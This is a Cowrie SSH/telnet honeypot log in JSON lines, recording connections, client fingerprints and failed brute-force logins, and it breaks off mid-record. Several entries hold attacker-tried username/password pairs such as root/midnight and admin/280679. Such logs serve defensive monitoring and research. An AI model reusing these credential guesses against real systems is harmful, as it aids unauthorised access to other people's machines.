{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:52:59.632055Z","src_ip":"62.133.62.83","session":"5216b2d21c7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"midnight","message":"login attempt [root/midnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:52:59.869270Z","src_ip":"62.133.62.83","session":"5216b2d21c7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:53:00.952295Z","src_ip":"62.133.62.83","session":"5216b2d21c7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":44670,"dst_ip":"159.203.135.109","dst_port":23,"session":"59d98ea0e793","protocol":"telnet","message":"New connection: 186.195.16.41:44670 (159.203.135.109:23) [session: 59d98ea0e793]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:53:04.827848Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":44723,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e84dd247ba4","protocol":"telnet","message":"New connection: 186.195.16.41:44723 (159.203.135.109:23) [session: 5e84dd247ba4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:53:05.864217Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":44735,"dst_ip":"159.203.135.109","dst_port":23,"session":"f6b1d07722a0","protocol":"telnet","message":"New connection: 186.195.16.41:44735 (159.203.135.109:23) [session: f6b1d07722a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:53:05.956473Z"}
{"eventid":"cowrie.session.closed","duration":44.978118896484375,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:53:06.949625Z","src_ip":"192.119.13.58","session":"8714f2f49f24","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55456,"dst_ip":"10.17.0.5","dst_port":23,"session":"67a655517b0c","protocol":"telnet","message":"New connection: 192.119.13.58:55456 (10.17.0.5:23) [session: 67a655517b0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:53:16.482397Z"}
{"eventid":"cowrie.session.closed","duration":34.53272199630737,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:53:21.393341Z","src_ip":"192.119.13.58","session":"5aad1bfd8f5b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":39824,"dst_ip":"10.17.0.5","dst_port":22,"session":"726ae8cda908","protocol":"ssh","message":"New connection: 103.82.132.16:39824 (10.17.0.5:22) [session: 726ae8cda908]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:53:24.671410Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:53:24.676759Z","src_ip":"103.82.132.16","session":"726ae8cda908","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:53:24.932614Z","src_ip":"103.82.132.16","session":"726ae8cda908","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":38762,"dst_ip":"159.203.135.109","dst_port":22,"session":"cbbf5e3bd0a5","protocol":"ssh","message":"New connection: 147.45.197.250:38762 (159.203.135.109:22) [session: cbbf5e3bd0a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:53:25.208498Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:53:25.214762Z","src_ip":"147.45.197.250","session":"cbbf5e3bd0a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:53:25.307854Z","src_ip":"147.45.197.250","session":"cbbf5e3bd0a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"azsxdcfv","message":"login attempt [root/azsxdcfv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:53:25.586453Z","src_ip":"147.45.197.250","session":"cbbf5e3bd0a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mamapapa","message":"login attempt [root/mamapapa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:53:25.698483Z","src_ip":"103.82.132.16","session":"726ae8cda908","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:53:26.680529Z","src_ip":"147.45.197.250","session":"cbbf5e3bd0a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:53:26.960583Z","src_ip":"103.82.132.16","session":"726ae8cda908","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":40944,"dst_ip":"10.17.0.5","dst_port":22,"session":"e635b853439e","protocol":"ssh","message":"New connection: 2.57.121.112:40944 (10.17.0.5:22) [session: e635b853439e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:53:34.673421Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:53:34.678800Z","src_ip":"2.57.121.112","session":"e635b853439e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:53:34.795066Z","src_ip":"2.57.121.112","session":"e635b853439e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"280679","message":"login attempt [admin/280679] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:53:35.288832Z","src_ip":"2.57.121.112","session":"e635b853439e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"280677","message":"login attempt [admin/280677] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:53:36.396951Z","src_ip":"2.57.121.112","session":"e635b853439e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"28061977","message":"login attempt [admin/28061977] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:53:37.504634Z","src_ip":"2.57.121.112","session":"e635b853439e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"28061972","message":"login attempt [admin/28061972] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:53:38.612468Z","src_ip":"2.57.121.112","session":"e635b853439e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"280591","message":"login attempt [admin/280591] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:53:39.720413Z","src_ip":"2.57.121.112","session":"e635b853439e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33546,"dst_ip":"10.17.0.5","dst_port":23,"session":"a61668c9f9dd","protocol":"telnet","message":"New connection: 192.119.13.58:33546 (10.17.0.5:23) [session: a61668c9f9dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:53:40.534744Z"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:53:40.837606Z","src_ip":"2.57.121.112","session":"e635b853439e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":1.3657243251800537,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:53:41.900323Z","src_ip":"192.119.13.58","session":"a61668c9f9dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43198,"dst_ip":"10.17.0.5","dst_port":23,"session":"67ffedf0bddd","protocol":"telnet","message":"New connection: 192.119.13.58:43198 (10.17.0.5:23) [session: 67ffedf0bddd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:53:42.983657Z"}
{"eventid":"cowrie.session.closed","duration":35.36126756668091,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:53:51.843575Z","src_ip":"192.119.13.58","session":"67a655517b0c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52538,"dst_ip":"10.17.0.5","dst_port":23,"session":"a76f0aaeb0a9","protocol":"telnet","message":"New connection: 192.119.13.58:52538 (10.17.0.5:23) [session: a76f0aaeb0a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:53:52.502924Z"}
{"eventid":"cowrie.session.closed","duration":46.77385687828064,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:53:52.730206Z","src_ip":"186.195.16.41","session":"f6b1d07722a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":57.091548442840576,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:54:02.955619Z","src_ip":"186.195.16.41","session":"5e84dd247ba4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":34794,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca08de03735c","protocol":"ssh","message":"New connection: 193.228.128.84:34794 (10.17.0.5:22) [session: ca08de03735c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:54:05.027597Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:54:05.032696Z","src_ip":"193.228.128.84","session":"ca08de03735c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:54:05.150229Z","src_ip":"193.228.128.84","session":"ca08de03735c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nokia5130","message":"login attempt [root/nokia5130] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:54:05.467371Z","src_ip":"193.228.128.84","session":"ca08de03735c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:54:06.573600Z","src_ip":"193.228.128.84","session":"ca08de03735c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34020,"dst_ip":"10.17.0.5","dst_port":23,"session":"659db27bee16","protocol":"telnet","message":"New connection: 192.119.13.58:34020 (10.17.0.5:23) [session: 659db27bee16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:54:10.547179Z"}
{"eventid":"cowrie.session.closed","duration":37.273799657821655,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:54:20.257351Z","src_ip":"192.119.13.58","session":"67ffedf0bddd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.110.87.138","src_port":4980,"dst_ip":"10.17.0.5","dst_port":22,"session":"2dc3f8e86f85","protocol":"ssh","message":"New connection: 89.110.87.138:4980 (10.17.0.5:22) [session: 2dc3f8e86f85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:54:20.532425Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:54:20.537889Z","src_ip":"89.110.87.138","session":"2dc3f8e86f85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:54:20.655067Z","src_ip":"89.110.87.138","session":"2dc3f8e86f85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"marsh","message":"login attempt [root/marsh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:54:21.155290Z","src_ip":"89.110.87.138","session":"2dc3f8e86f85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:54:22.275203Z","src_ip":"89.110.87.138","session":"2dc3f8e86f85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58348,"dst_ip":"10.17.0.5","dst_port":23,"session":"846f19c5dce2","protocol":"telnet","message":"New connection: 192.119.13.58:58348 (10.17.0.5:23) [session: 846f19c5dce2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:54:22.853359Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45700,"dst_ip":"10.17.0.5","dst_port":23,"session":"50f648c40cbb","protocol":"telnet","message":"New connection: 192.119.13.58:45700 (10.17.0.5:23) [session: 50f648c40cbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:54:27.037055Z"}
{"eventid":"cowrie.session.closed","duration":41.77674627304077,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:54:34.279561Z","src_ip":"192.119.13.58","session":"a76f0aaeb0a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":43070,"dst_ip":"159.203.135.109","dst_port":22,"session":"5094323dd7c4","protocol":"ssh","message":"New connection: 103.173.227.57:43070 (159.203.135.109:22) [session: 5094323dd7c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:54:47.254755Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:54:47.259597Z","src_ip":"103.173.227.57","session":"5094323dd7c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@o